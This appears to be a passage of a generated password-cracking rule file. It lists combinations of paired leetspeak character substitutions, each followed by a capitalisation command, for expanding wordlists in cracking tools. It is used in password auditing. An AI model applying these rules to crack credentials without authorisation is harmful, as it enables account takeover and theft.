/bsb8/5s5S[:c]
/bsb8/7s7l[:c]
/bsb8/7s7L[:c]
/bsb8/8s8b[:c]
/bsb8/8s8B[:c]
/BsB8/asa@[:c]
/BsB8/asa4[:c]
/BsB8/AsA4[:c]
/BsB8/AsA@[:c]
/BsB8/bsb8[:c]
/BsB8/ese3[:c]
/BsB8/EsE3[:c]
/BsB8/isi1[:c]
/BsB8/isi![:c]
/BsB8/isi|[:c]
/BsB8/IsI1[:c]
/BsB8/IsI![:c]
/BsB8/IsI|[:c]
/BsB8/lsl1[:c]
/BsB8/lsl7[:c]
/BsB8/lsl|[:c]
/BsB8/lsl![:c]
/BsB8/Lsl1[:c]
/BsB8/Lsl7[:c]
/BsB8/Lsl|[:c]
/BsB8/Lsl![:c]
/BsB8/oso0[:c]
/BsB8/OsO0[:c]
/BsB8/sss$[:c]
/BsB8/sss5[:c]
/BsB8/SsS$[:c]
/BsB8/SsS5[:c]
/BsB8/tst+[:c]
/BsB8/TsT+[:c]
/BsB8/1s1![:c]
/BsB8/1s1i[:c]
/BsB8/1s1I[:c]
/BsB8/1s1|[:c]
/BsB8/0s0o[:c]
/BsB8/0s0O[:c]
/BsB8/3s3e[:c]
/BsB8/3s3E[:c]
/BsB8/4s4a[:c]
/BsB8/4s4A[:c]
/BsB8/5s5s[:c]
/BsB8/5s5S[:c]
/BsB8/7s7l[:c]
/BsB8/7s7L[:c]
/BsB8/8s8b[:c]
/BsB8/8s8B[:c]
/ese3/asa@[:c]
/ese3/asa4[:c]
/ese3/AsA4[:c]
/ese3/AsA@[:c]
/ese3/bsb8[:c]
/ese3/BsB8[:c]
/ese3/EsE3[:c]
/ese3/isi1[:c]
/ese3/isi![:c]
/ese3/isi|[:c]
/ese3/IsI1[:c]
/ese3/IsI![:c]
/ese3/IsI|[:c]
/ese3/lsl1[:c]
/ese3/lsl7[:c]
/ese3/lsl|[:c]
/ese3/lsl![:c]
/ese3/Lsl1[:c]
/ese3/Lsl7[:c]
/ese3/Lsl|[:c]
/ese3/Lsl![:c]
/ese3/oso0[:c]
/ese3/OsO0[:c]
/ese3/sss$[:c]
/ese3/sss5[:c]
/ese3/SsS$[:c]
/ese3/SsS5[:c]
/ese3/tst+[:c]
/ese3/TsT+[:c]
/ese3/1s1![:c]
/ese3/1s1i[:c]
/ese3/1s1I[:c]
/ese3/1s1|[:c]
/ese3/0s0o[:c]
/ese3/0s0O[:c]
/ese3/3s3e[:c]
/ese3/3s3E[:c]
/ese3/4s4a[:c]
/ese3/4s4A[:c]
/ese3/5s5s[:c]
/ese3/5s5S[:c]
/ese3/7s7l[:c]
/ese3/7s7L[:c]
/ese3/8s8b[:c]
/ese3/8s8B[:c]
/EsE3/asa@[:c]
/EsE3/asa4[:c]
/EsE3/AsA4[:c]
/EsE3/AsA@[:c]
/EsE3/bsb8[:c]
/EsE3/BsB8[:c]
/EsE3/ese3[:c]
/EsE3/isi1[:c]
/EsE3/isi![:c]
/EsE3/isi|[:c]
/EsE3/IsI1[:c]
/EsE3/IsI![:c]
/EsE3/IsI|[:c]
/EsE3/lsl1[:c]
/EsE3/lsl7[:c]
/EsE3/lsl|[:c]
/EsE3/lsl![:c]
/EsE3/Lsl1[:c]
/EsE3/Lsl7[:c]
/EsE3/Lsl|[:c]
/EsE3/Lsl![:c]
/EsE3/oso0[:c]
/EsE3/OsO0[:c]
/EsE3/sss$[:c]
/EsE3/sss5[:c]
/EsE3/SsS$[:c]
/EsE3/SsS5[:c]
/EsE3/tst+[:c]
/EsE3/TsT+[:c]
/EsE3/1s1![:c]
/EsE3/1s1i[:c]
/EsE3/1s1I[:c]
/EsE3/1s1|[:c]
/EsE3/0s0o[:c]
/EsE3/0s0O[:c]
/EsE3/3s3e[:c]
/EsE3/3s3E[:c]
/EsE3/4s4a[:c]
/EsE3/4s4A[:c]
/EsE3/5s5s[:c]
/EsE3/5s5S[:c]
/EsE3/7s7l[:c]
/EsE3/7s7L[:c]
/EsE3/8s8b[:c]
/EsE3/8s8B[:c]
/isi1/asa@[:c]
/isi1/asa4[:c]
/isi1/AsA4[:c]
/isi1/AsA@[:c]
/isi1/bsb8[:c]
/isi1/BsB8[:c]
/isi1/ese3[:c]
/isi1/EsE3[:c]
/isi1/IsI1[:c]
/isi1/IsI![:c]
/isi1/IsI|[:c]
/isi1/lsl1[:c]
/isi1/lsl7[:c]
/isi1/lsl|[:c]
/isi1/lsl![:c]
/isi1/Lsl1[:c]
/isi1/Lsl7[:c]
/isi1/Lsl|[:c]
/isi1/Lsl![:c]
/isi1/oso0[:c]
/isi1/OsO0[:c]
/isi1/sss$[:c]
/isi1/sss5[:c]
/isi1/SsS$[:c]
/isi1/SsS5[:c]
/isi1/tst+[:c]
/isi1/TsT+[:c]
/isi1/1s1![:c]
/isi1/1s1i[:c]
/isi1/1s1I[:c]
/isi1/1s1|[:c]
/isi1/0s0o[:c]
/isi1/0s0O[:c]
/isi1/3s3e[:c]
/isi1/3s3E[:c]
/isi1/4s4a[:c]
/isi1/4s4A[:c]
/isi1/5s5s[:c]
/isi1/5s5S[:c]
/isi1/7s7l[:c]
/isi1/7s7L[:c]
/isi1/8s8b[:c]
/isi1/8s8B[:c]
/isi!/asa@[:c]
/isi!/asa4[:c]
/isi!/AsA4[:c]
/isi!/AsA@[:c]
/isi!/bsb8[:c]
/isi!/BsB8[:c]
/isi!/ese3[:c]
/isi!/EsE3[:c]
/isi!/isi1[:c]
/isi!/isi|[:c]
/isi!/IsI1[:c]
/isi!/IsI![:c]
/isi!/IsI|[:c]
/isi!/lsl1[:c]
/isi!/lsl7[:c]
/isi!/lsl|[:c]
/isi!/lsl![:c]
/isi!/Lsl1[:c]
/isi!/Lsl7[:c]
/isi!/Lsl|[:c]
/isi!/Lsl![:c]
/isi!/oso0[:c]
/isi!/OsO0[:c]
/isi!/sss$[:c]
/isi!/sss5[:c]
/isi!/SsS$[:c]
/isi!/SsS5[:c]
/isi!/tst+[:c]
/isi!/TsT+[:c]
/isi!/1s1![:c]
/isi!/1s1i[:c]
/isi!/1s1I[:c]
/isi!/1s1|[:c]
/isi!/0s0o[:c]
/isi!/0s0O[:c]
/isi!/3s3e[:c]
/isi!/3s3E[:c]
/isi!/4s4a[:c]
/isi!/4s4A[:c]
/isi!/5s5s[:c]
/isi!/5s5S[:c]
/isi!/7s7l[:c]
/isi!/7s7L[:c]
/isi!/8s8b[:c]
/isi!/8s8B[:c]
/isi|/asa@[:c]
/isi|/asa4[:c]
/isi|/AsA4[:c]
/isi|/AsA@[:c]
/isi|/bsb8[:c]
/isi|/BsB8[:c]
/isi|/ese3[:c]
/isi|/EsE3[:c]
/isi|/isi1[:c]
/isi|/isi![:c]
/isi|/IsI1[:c]
/isi|/IsI![:c]
/isi|/IsI|[:c]
/isi|/lsl1[:c]
/isi|/lsl7[:c]
/isi|/lsl|[:c]
/isi|/lsl![:c]
/isi|/Lsl1[:c]
/isi|/Lsl7[:c]
/isi|/Lsl|[:c]
/isi|/Lsl![:c]
/isi|/oso0[:c]
/isi|/OsO0[:c]
/isi|/sss$[:c]
/isi|/sss5[:c]
/isi|/SsS$[:c]
/isi|/SsS5[:c]
/isi|/tst+[:c]
/isi|/TsT+[:c]
/isi|/1s1![:c]
/isi|/1s1i[:c]
/isi|/1s1I[:c]
/isi|/1s1|[:c]
/isi|/0s0o[:c]
/isi|/0s0O[:c]
/isi|/3s3e[:c]
/isi|/3s3E[:c]
/isi|/4s4a[:c]
/isi|/4s4A[:c]
/isi|/5s5s[:c]
/isi|/5s5S[:c]
/isi|/7s7l[:c]
/isi|/7s7L[:c]
/isi|/8s8b[:c]
/isi|/8s8B[:c]
/IsI1/asa@[:c]
/IsI1/asa4[:c]
/IsI1/AsA4[:c]
/IsI1/AsA@[:c]
/IsI1/bsb8[:c]
/IsI1/BsB8[:c]
/IsI1/ese3[:c]
/IsI1/EsE3[:c]
/IsI1/isi1[:c]
/IsI1/isi![:c]
/IsI1/isi|[:c]
/IsI1/lsl1[:c]
/IsI1/lsl7[:c]
/IsI1/lsl|[:c]
/IsI1/lsl![:c]
/IsI1/Lsl1[:c]
/IsI1/Lsl7[:c]
/IsI1/Lsl|[:c]
/IsI1/Lsl![:c]
/IsI1/oso0[:c]
/IsI1/OsO0[:c]
/IsI1/sss$[:c]
/IsI1/sss5[:c]
/IsI1/SsS$[:c]
/IsI1/SsS5[:c]
/IsI1/tst+[:c]
/IsI1/TsT+[:c]
/IsI1/1s1![:c]
/IsI1/1s1i[:c]
/IsI1/1s1I[:c]
/IsI1/1s1|[:c]
/IsI1/0s0o[:c]
/IsI1/0s0O[:c]
/IsI1/3s3e[:c]
/IsI1/3s3E[:c]
/IsI1/4s4a[:c]
/IsI1/4s4A[:c]
/IsI1/5s5s[:c]
/IsI1/5s5S[:c]
/IsI1/7s7l[:c]
/IsI1/7s7L[:c]
/IsI1/8s8b[:c]
/IsI1/8s8B[:c]
/IsI!/asa@[:c]
/IsI!/asa4[:c]
/IsI!/AsA4[:c]
/IsI!/AsA@[:c]
/IsI!/bsb8[:c]
/IsI!/BsB8[:c]
/IsI!/ese3[:c]
/IsI!/EsE3[:c]
/IsI!/isi1[:c]
/IsI!/isi![:c]
/IsI!/isi|[:c]
/IsI!/IsI1[:c]
/IsI!/IsI|[:c]
/IsI!/lsl1[:c]
/IsI!/lsl7[:c]
/IsI!/lsl|[:c]
/IsI!/lsl![:c]
/IsI!/Lsl1[:c]
/IsI!/Lsl7[:c]
/IsI!/Lsl|[:c]
/IsI!/Lsl![:c]
/IsI!/oso0[:c]
/IsI!/OsO0[:c]
/IsI!/sss$[:c]
/IsI!/sss5[:c]
/IsI!/SsS$[:c]
/IsI!/SsS5[:c]
/IsI!/tst+[:c]
/IsI!/TsT+[:c]
/IsI!/1s1![:c]
/IsI!/1s1i[:c]
/IsI!/1s1I[:c]
/IsI!/1s1|[:c]
/IsI!/0s0o[:c]
/IsI!/0s0O[:c]
/IsI!/3s3e[:c]
/IsI!/3s3E[:c]
/IsI!/4s4a[:c]
/IsI!/4s4A[:c]
/IsI!/5s5s[:c]
/IsI!/5s5S[:c]
/IsI!/7s7l[:c]
/IsI!/7s7L[:c]
/IsI!/8s8b[:c]
/IsI!/8s8B[:c]
/IsI|/asa@[:c]
/IsI|/asa4[:c]
/IsI|/AsA4[:c]
/IsI|/AsA@[:c]
/IsI|/bsb8[:c]
/IsI|/BsB8[:c]
/IsI|/ese3[:c]
/IsI|/EsE3[:c]
/IsI|/isi1[:c]
/IsI|/isi![:c]
/IsI|/isi|[:c]
/IsI|/IsI1[:c]
/IsI|/IsI![:c]
/IsI|/lsl1[:c]
/IsI|/lsl7[:c]
/IsI|/lsl|[:c]
/IsI|/lsl![:c]
/IsI|/Lsl1[:c]
/IsI|/Lsl7[:c]
/IsI|/Lsl|[:c]
/IsI|/Lsl![:c]
/IsI|/oso0[:c]
/IsI|/OsO0[:c]
/IsI|/sss$[:c]
/IsI|/sss5[:c]
/IsI|/SsS$[:c]
/IsI|/SsS5[:c]
/IsI|/tst+[:c]
/IsI|/TsT+[:c]
/IsI|/1s1![:c]
/IsI|/1s1i[:c]
/IsI|/1s1I[:c]
/IsI|/1s1|[:c]
/IsI|/0s0o[:c]
/IsI|/0s0O[:c]
/IsI|/3s3e[:c]
/IsI|/3s3E[:c]
/IsI|/4s4a[:c]
/IsI|/4s4A[:c]
/IsI|/5s5s[:c]
/IsI|/5s5S[:c]
/IsI|/7s7l[:c]
/IsI|/7s7L[:c]
/IsI|/8s8b[:c]
/IsI|/8s8B[:c]
/lsl1/asa@[:c]
/lsl1/asa4[:c]
/lsl1/AsA4[:c]
/lsl1/AsA@[:c]
/lsl1/bsb8[:c]
/lsl1/BsB8[:c]
/lsl1/ese3[:c]
/lsl1/EsE3[:c]
/lsl1/isi1[:c]
/lsl1/isi![:c]
/lsl1/isi|[:c]
/lsl1/IsI1[:c]
/lsl1/IsI![:c]
/lsl1/IsI|[:c]
/lsl1/Lsl1[:c]
/lsl1/Lsl7[:c]
/lsl1/Lsl|[:c]
/lsl1/Lsl![:c]
/lsl1/oso0[:c]
/lsl1/OsO0[:c]
/lsl1/sss$[:c]
/lsl1/sss5[:c]
/lsl1/SsS$[:c]
/lsl1/SsS5[:c]
/lsl1/tst+[:c]
/lsl1/TsT+[:c]
/lsl1/1s1![:c]
/lsl1/1s1i[:c]
/lsl1/1s1I[:c]
/lsl1/1s1|[:c]
/lsl1/0s0o[:c]
/lsl1/0s0O[:c]
/lsl1/3s3e[:c]
/lsl1/3s3E[:c]
/lsl1/4s4a[:c]
/lsl1/4s4A[:c]
/lsl1/5s5s[:c]
/lsl1/5s5S[:c]
/lsl1/7s7l[:c]
/lsl1/7s7L[:c]
/lsl1/8s8b[:c]
/lsl1/8s8B[:c]
/lsl7/asa@[:c]
/lsl7/asa4[:c]
/lsl7/AsA4[:c]
/lsl7/AsA@[:c]
/lsl7/bsb8[:c]
/lsl7/BsB8[:c]
/lsl7/ese3[:c]
/lsl7/EsE3[:c]
/lsl7/isi1[:c]
/lsl7/isi![:c]
/lsl7/isi|[:c]
/lsl7/IsI1[:c]
/lsl7/IsI![:c]
/lsl7/IsI|[:c]
/lsl7/lsl1[:c]
/lsl7/lsl|[:c]
/lsl7/lsl![:c]
/lsl7/Lsl1[:c]
/lsl7/Lsl7[:c]
/lsl7/Lsl|[:c]
/lsl7/Lsl![:c]
/lsl7/oso0[:c]
/lsl7/OsO0[:c]
/lsl7/sss$[:c]
/lsl7/sss5[:c]
/lsl7/SsS$[:c]
/lsl7/SsS5[:c]
/lsl7/tst+[:c]
/lsl7/TsT+[:c]
/lsl7/1s1![:c]
/lsl7/1s1i[:c]
/lsl7/1s1I[:c]
/lsl7/1s1|[:c]
/lsl7/0s0o[:c]
/lsl7/0s0O[:c]
/lsl7/3s3e[:c]
/lsl7/3s3E[:c]
/lsl7/4s4a[:c]
/lsl7/4s4A[:c]
/lsl7/5s5s[:c]
/lsl7/5s5S[:c]
/lsl7/7s7l[:c]
/lsl7/7s7L[:c]
/lsl7/8s8b[:c]
/lsl7/8s8B[:c]
/lsl|/asa@[:c]
/lsl|/asa4[:c]
/lsl|/AsA4[:c]
/lsl|/AsA@[:c]
/lsl|/bsb8[:c]
/lsl|/BsB8[:c]
/lsl|/ese3[:c]
/lsl|/EsE3[:c]
/lsl|/isi1[:c]
/lsl|/isi![:c]
/lsl|/isi|[:c]
/lsl|/IsI1[:c]
/lsl|/IsI![:c]
/lsl|/IsI|[:c]
/lsl|/lsl1[:c]
/lsl|/lsl7[:c]
/lsl|/lsl![:c]
/lsl|/Lsl1[:c]
/lsl|/Lsl7[:c]
/lsl|/Lsl|[:c]
/lsl|/Lsl![:c]
/lsl|/oso0[:c]
/lsl|/OsO0[:c]
/lsl|/sss$[:c]
/lsl|/sss5[:c]
/lsl|/SsS$[:c]
/lsl|/SsS5[:c]
/lsl|/tst+[:c]
/lsl|/TsT+[:c]
/lsl|/1s1![:c]
/lsl|/1s1i[:c]
/lsl|/1s1I[:c]
/lsl|/1s1|[:c]
/lsl|/0s0o[:c]
/lsl|/0s0O[:c]
/lsl|/3s3e[:c]
/lsl|/3s3E[:c]
/lsl|/4s4a[:c]
/lsl|/4s4A[:c]
/lsl|/5s5s[:c]
/lsl|/5s5S[:c]
/lsl|/7s7l[:c]
/lsl|/7s7L[:c]
/lsl|/8s8b[:c]
/lsl|/8s8B[:c]
/lsl!/asa@[:c]
/lsl!/asa4[:c]
/lsl!/AsA4[:c]
/lsl!/AsA@[:c]
/lsl!/bsb8[:c]
/lsl!/BsB8[:c]
/lsl!/ese3[:c]
/lsl!/EsE3[:c]
/lsl!/isi1[:c]
/lsl!/isi![:c]
/lsl!/isi|[:c]
/lsl!/IsI1[:c]
/lsl!/IsI![:c]
/lsl!/IsI|[:c]
/lsl!/lsl1[:c]
/lsl!/lsl7[:c]
/lsl!/lsl|[:c]
/lsl!/Lsl1[:c]
/lsl!/Lsl7[:c]
/lsl!/Lsl|[:c]
/lsl!/Lsl![:c]
/lsl!/oso0[:c]
/lsl!/OsO0[:c]
/lsl!/sss$[:c]
/lsl!/sss5[:c]
/lsl!/SsS$[:c]
/lsl!/SsS5[:c]
/lsl!/tst+[:c]
/lsl!/TsT+[:c]
/lsl!/1s1![:c]
/lsl!/1s1i[:c]
/lsl!/1s1I[:c]
/lsl!/1s1|[:c]
/lsl!/0s0o[:c]
/lsl!/0s0O[:c]
/lsl!/3s3e[:c]
/lsl!/3s3E[:c]
/lsl!/4s4a[:c]
/lsl!/4s4A[:c]
/lsl!/5s5s[:c]
/lsl!/5s5S[:c]
/lsl!/7s7l[:c]
/lsl!/7s7L[:c]
/lsl!/8s8b[:c]
/lsl!/8s8B[:c]
/Lsl1/asa@[:c]
/Lsl1/asa4[:c]
/Lsl1/AsA4[:c]
/Lsl1/AsA@[:c]
/Lsl1/bsb8[:c]
/Lsl1/BsB8[:c]
/Lsl1/ese3[:c]
/Lsl1/EsE3[:c]
/Lsl1/isi1[:c]
/Lsl1/isi![:c]
/Lsl1/isi|[:c]
/Lsl1/IsI1[:c]
/Lsl1/IsI![:c]
/Lsl1/IsI|[:c]
/Lsl1/lsl1[:c]
/Lsl1/lsl7[:c]
/Lsl1/lsl|[:c]
/Lsl1/lsl![:c]
/Lsl1/oso0[:c]
/Lsl1/OsO0[:c]
/Lsl1/sss$[:c]
/Lsl1/sss5[:c]
/Lsl1/SsS$[:c]
/Lsl1/SsS5[:c]
/Lsl1/tst+[:c]
/Lsl1/TsT+[:c]
/Lsl1/1s1![:c]
/Lsl1/1s1i[:c]
/Lsl1/1s1I[:c]
/Lsl1/1s1|[:c]
/Lsl1/0s0o[:c]
/Lsl1/0s0O[:c]
/Lsl1/3s3e[:c]
/Lsl1/3s3E[:c]
/Lsl1/4s4a[:c]
/Lsl1/4s4A[:c]
/Lsl1/5s5s[:c]
/Lsl1/5s5S[:c]
/Lsl1/7s7l[:c]
/Lsl1/7s7L[:c]
/Lsl1/8s8b[:c]
/Lsl1/8s8B[:c]
/Lsl7/asa@[:c]
/Lsl7/asa4[:c]
/Lsl7/AsA4[:c]
/Lsl7/AsA@[:c]
/Lsl7/bsb8[:c]
/Lsl7/BsB8[:c]
/Lsl7/ese3[:c]
/Lsl7/EsE3[:c]
/Lsl7/isi1[:c]
/Lsl7/isi![:c]
/Lsl7/isi|[:c]
/Lsl7/IsI1[:c]
/Lsl7/IsI![:c]
/Lsl7/IsI|[:c]
/Lsl7/lsl1[:c]
/Lsl7/lsl7[:c]
/Lsl7/lsl|[:c]
/Lsl7/lsl![:c]
/Lsl7/Lsl1[:c]
/Lsl7/Lsl|[:c]
/Lsl7/Lsl![:c]
/Lsl7/oso0[:c]
/Lsl7/OsO0[:c]
/Lsl7/sss$[:c]
/Lsl7/sss5[:c]
/Lsl7/SsS$[:c]
/Lsl7/SsS5[:c]
/Lsl7/tst+[:c]
/Lsl7/TsT+[:c]
/Lsl7/1s1![:c]
/Lsl7/1s1i[:c]
/Lsl7/1s1I[:c]
/Lsl7/1s1|[:c]
/Lsl7/0s0o[:c]
/Lsl7/0s0O[:c]
/Lsl7/3s3e[:c]
/Lsl7/3s3E[:c]
/Lsl7/4s4a[:c]
/Lsl7/4s4A[:c]
/Lsl7/5s5s[:c]
/Lsl7/5s5S[:c]
/Lsl7/7s7l[:c]
/Lsl7/7s7L[:c]
/Lsl7/8s8b[:c]
/Lsl7/8s8B[:c]
/Lsl|/asa@[:c]
/Lsl|/asa4[:c]
/Lsl|/AsA4[:c]
/Lsl|/AsA@[:c]
/Lsl|/bsb8[:c]
/Lsl|/BsB8[:c]
/Lsl|/ese3[:c]
/Lsl|/EsE3[:c]
/Lsl|/isi1[:c]
/Lsl|/isi![:c]
/Lsl|/isi|[:c]
/Lsl|/IsI1[:c]
/Lsl|/IsI![:c]
/Lsl|/IsI|[:c]
/Lsl|/lsl1[:c]
/Lsl|/lsl7[:c]
/Lsl|/lsl|[:c]
/Lsl|/lsl![:c]
/Lsl|/oso0[:c]
/Lsl|/OsO0[:c]
/Lsl|/sss$[:c]
/Lsl|/sss5[:c]
/Lsl|/SsS$[:c]
/Lsl|/SsS5[:c]
/Lsl|/tst+[:c]
/Lsl|/TsT+[:c]
/Lsl|/1s1![:c]
/Lsl|/1s1i[:c]
/Lsl|/1s1I[:c]
/Lsl|/1s1|[:c]
/Lsl|/0s0o[:c]
/Lsl|/0s0O[:c]
/Lsl|/3s3e[:c]
/Lsl|/3s3E[:c]
/Lsl|/4s4a[:c]
/Lsl|/4s4A[:c]
/Lsl|/5s5s[:c]
/Lsl|/5s5S[:c]
/Lsl|/7s7l[:c]
/Lsl|/7s7L[:c]
/Lsl|/8s8b[:c]
/Lsl|/8s8B[:c]
/Lsl!/asa@[:c]
/Lsl!/asa4[:c]
/Lsl!/AsA4[:c]
/Lsl!/AsA@[:c]
/Lsl!/bsb8[:c]
/Lsl!/BsB8[:c]
/Lsl!/ese3[:c]
/Lsl!/EsE3[:c]
/Lsl!/isi1[:c]
/Lsl!/isi![:c]
/Lsl!/isi|[:c]
/Lsl!/IsI1[:c]
/Lsl!/IsI![:c]
/Lsl!/IsI|[:c]
/Lsl!/lsl1[:c]
/Lsl!/lsl7[:c]
/Lsl!/lsl|[:c]
/Lsl!/lsl![:c]
/Lsl!/oso0[:c]
/Lsl!/OsO0[:c]
/Lsl!/sss$[:c]
/Lsl!/sss5[:c]
/Lsl!/SsS$[:c]
/Lsl!/SsS5[:c]
/Lsl!/tst+[:c]
/Lsl!/TsT+[:c]
/Lsl!/1s1![:c]
/Lsl!/1s1i[:c]
/Lsl!/1s1I[:c]
/Lsl!/1s1|[:c]
/Lsl!/0s0o[:c]
/Lsl!/0s0O[:c]
/Lsl!/3s3e[:c]
/Lsl!/3s3E[:c]
/Lsl!/4s4a[:c]
/Lsl!/4s4A[:c]
/Lsl!/5s5s[:c]
/Lsl!/5s5S[:c]
/Lsl!/7s7l[:c]
/Lsl!/7s7L[:c]
/Lsl!/8s8b[:c]
/Lsl!/8s8B[:c]
/oso0/asa@[:c]
/oso0/asa4[:c]
/oso0/AsA4[:c]
/oso0/AsA@[:c]
/oso0/bsb8[:c]
/oso0/BsB8[:c]
/oso0/ese3[:c]
/oso0/EsE3[:c]
/oso0/isi1[:c]
/oso0/isi![:c]
/oso0/isi|[:c]
/oso0/IsI1[:c]
/oso0/IsI![:c]
/oso0/IsI|[:c]
/oso0/lsl1[:c]
/oso0/lsl7[:c]
/oso0/lsl|[:c]
/oso0/lsl![:c]
/oso0/Lsl1[:c]
/oso0/Lsl7[:c]
/oso0/Lsl|[:c]
/oso0/Lsl![:c]
/oso0/OsO0[:c]
/oso0/sss$[:c]
/oso0/sss5[:c]
/oso0/SsS$[:c]
/oso0/SsS5[:c]
/oso0/tst+[:c]
/oso0/TsT+[:c]
/oso0/1s1![:c]
/oso0/1s1i[:c]
/oso0/1s1I[:c]
/oso0/1s1|[:c]
/oso0/0s0o[:c]
/oso0/0s0O[:c]
/oso0/3s3e[:c]
/oso0/3s3E[:c]
/oso0/4s4a[:c]
/oso0/4s4A[:c]
/oso0/5s5s[:c]
/oso0/5s5S[:c]
/oso0/7s7l[:c]
/oso0/7s7L[:c]
/oso0/8s8b[:c]
/oso0/8s8B[:c]
/OsO0/asa@[:c]
/OsO0/asa4[:c]
/OsO0/AsA4[:c]
/OsO0/AsA@[:c]
/OsO0/bsb8[:c]
/OsO0/BsB8[:c]
/OsO0/ese3[:c]
/OsO0/EsE3[:c]
/OsO0/isi1[:c]
/OsO0/isi![:c]
/OsO0/isi|[:c]
/OsO0/IsI1[:c]
/OsO0/IsI![:c]
/OsO0/IsI|[:c]
/OsO0/lsl1[:c]
/OsO0/lsl7[:c]
/OsO0/lsl|[:c]
/OsO0/lsl![:c]
/OsO0/Lsl1[:c]
/OsO0/Lsl7[:c]
/OsO0/Lsl|[:c]
/OsO0/Lsl![:c]
/OsO0/oso0[:c]
/OsO0/sss$[:c]
/OsO0/sss5[:c]
/OsO0/SsS$[:c]
/OsO0/SsS5[:c]
/OsO0/tst+[:c]
/OsO0/TsT+[:c]
/OsO0/1s1![:c]
/OsO0/1s1i[:c]
/OsO0/1s1I[:c]
/OsO0/1s1|[:c]
/OsO0/0s0o[:c]
/OsO0/0s0O[:c]
/OsO0/3s3e[:c]
/OsO0/3s3E[:c]
/OsO0/4s4a[:c]
/OsO0/4s4A[:c]
/OsO0/5s5s[:c]
/OsO0/5s5S[:c]
/OsO0/7s7l[:c]
/OsO0/7s7L[:c]
/OsO0/8s8b[:c]
/OsO0/8s8B[:c]
/sss$/asa@[:c]
/sss$/asa4[:c]
/sss$/AsA4[:c]
/sss$/AsA@[:c]
/sss$/bsb8[:c]
/sss$/BsB8[:c]
/sss$/ese3[:c]
/sss$/EsE3[:c]
/sss$/isi1[:c]
/sss$/isi![:c]
/sss$/isi|[:c]
/sss$/IsI1[:c]
/sss$/IsI![:c]
/sss$/IsI|[:c]
/sss$/lsl1[:c]
/sss$/lsl7[:c]
/sss$/lsl|[:c]
/sss$/lsl![:c]
/sss$/Lsl1[:c]
/sss$/Lsl7[:c]
/sss$/Lsl|[:c]
/sss$/Lsl![:c]
/sss$/oso0[:c]
/sss$/OsO0[:c]
/sss$/SsS$[:c]
/sss$/SsS5[:c]
/sss$/tst+[:c]
/sss$/TsT+[:c]
/sss$/1s1![:c]
/sss$/1s1i[:c]
/sss$/1s1I[:c]
/sss$/1s1|[:c]
/sss$/0s0o[:c]
/sss$/0s0O[:c]
/sss$/3s3e[:c]
/sss$/3s3E[:c]
/sss$/4s4a[:c]
/sss$/4s4A[:c]
/sss$/5s5s[:c]
/sss$/5s5S[:c]
/sss$/7s7l[:c]
/sss$/7s7L[:c]
/sss$/8s8b[:c]
/sss$/8s8B[:c]
/sss5/asa@[:c]
/sss5/asa4[:c]
/sss5/AsA4[:c]
/sss5/AsA@[:c]
/sss5/bsb8[:c]
/sss5/BsB8[:c]
/sss5/ese3[:c]
/sss5/EsE3[:c]
/sss5/isi1[:c]
/sss5/isi![:c]
/sss5/isi|[:c]
/sss5/IsI1[:c]
/sss5/IsI![:c]
/sss5/IsI|[:c]
/sss5/lsl1[:c]
/sss5/lsl7[:c]
/sss5/lsl|[:c]
/sss5/lsl![:c]
/sss5/Lsl1[:c]
/sss5/Lsl7[:c]
/sss5/Lsl|[:c]
/sss5/Lsl![:c]
/sss5/oso0[:c]
/sss5/OsO0[:c]
/sss5/SsS$[:c]
/sss5/SsS5[:c]
/sss5/tst+[:c]
/sss5/TsT+[:c]
/sss5/1s1![:c]
/sss5/1s1i[:c]
/sss5/1s1I[:c]
/sss5/1s1|[:c]
/sss5/0s0o[:c]
/sss5/0s0O[:c]
/sss5/3s3e[:c]
/sss5/3s3E[:c]
/sss5/4s4a[:c]
/sss5/4s4A[:c]
/sss5/5s5s[:c]
/sss5/5s5S[:c]
/sss5/7s7l[:c]
/sss5/7s7L[:c]
/sss5/8s8b[:c]
/sss5/8s8B[:c]
/SsS$/asa@[:c]
/SsS$/asa4[:c]
/SsS$/AsA4[:c]
/SsS$/AsA@[:c]
/SsS$/bsb8[:c]
/SsS$/BsB8[:c]
/SsS$/ese3[:c]
/SsS$/EsE3[:c]
/SsS$/isi1[:c]
/SsS$/isi![:c]
/SsS$/isi|[:c]
/SsS$/IsI1[:c]
/SsS$/IsI![:c]
/SsS$/IsI|[:c]
/SsS$/lsl1[:c]
/SsS$/lsl7[:c]
/SsS$/lsl|[:c]
/SsS$/lsl![:c]
/SsS$/Lsl1[:c]
/SsS$/Lsl7[:c]
/SsS$/Lsl|[:c]
/SsS$/Lsl![:c]
/SsS$/oso0[:c]
/SsS$/OsO0[:c]
/SsS$/sss$[:c]
/SsS$/sss5[:c]
/SsS$/tst+[:c]
/SsS$/TsT+[:c]
/SsS$/1s1![:c]
/SsS$/1s1i[:c]
/SsS$/1s1I[:c]
/SsS$/1s1|[:c]
/SsS$/0s0o[:c]
/SsS$/0s0O[:c]
/SsS$/3s3e[:c]
/SsS$/3s3E[:c]
/SsS$/4s4a[:c]
/SsS$/4s4A[:c]
/SsS$/5s5s[:c]
/SsS$/5s5S[:c]
/SsS$/7s7l[:c]
/SsS$/7s7L[:c]
/SsS$/8s8b[:c]
/SsS$/8s8B[:c]
/SsS5/asa@[:c]
/SsS5/asa4[:c]
/SsS5/AsA4[:c]
/SsS5/AsA@[:c]
/SsS5/bsb8[:c]
/SsS5/BsB8[:c]
/SsS5/ese3[:c]
/SsS5/EsE3[:c]
/SsS5/isi1[:c]
/SsS5/isi![:c]
/SsS5/isi|[:c]
/SsS5/IsI1[:c]
/SsS5/IsI![:c]
/SsS5/IsI|[:c]
/SsS5/lsl1[:c]
/SsS5/lsl7[:c]
/SsS5/lsl|[:c]
/SsS5/lsl![:c]
/SsS5/Lsl1[:c]
/SsS5/Lsl7[:c]
/SsS5/Lsl|[:c]
/SsS5/Lsl![:c]
/SsS5/oso0[:c]
/SsS5/OsO0[:c]
/SsS5/sss$[:c]
/SsS5/sss5[:c]
/SsS5/tst+[:c]
/SsS5/TsT+[:c]
/SsS5/1s1![:c]
/SsS5/1s1i[:c]
/SsS5/1s1I[:c]
/SsS5/1s1|[:c]
/SsS5/0s0o[:c]
/SsS5/0s0O[:c]
/SsS5/3s3e[:c]
/SsS5/3s3E[:c]
/SsS5/4s4a[:c]
/SsS5/4s4A[:c]
/SsS5/5s5s[:c]
/SsS5/5s5S[:c]
/SsS5/7s7l[:c]
/SsS5/7s7L[:c]
/SsS5/8s8b[:c]
/SsS5/8s8B[:c]
/tst+/asa@[:c]
/tst+/asa4[:c]
/tst+/AsA4[:c]
/tst+/AsA@[:c]
/tst+/bsb8[:c]
/tst+/BsB8[:c]
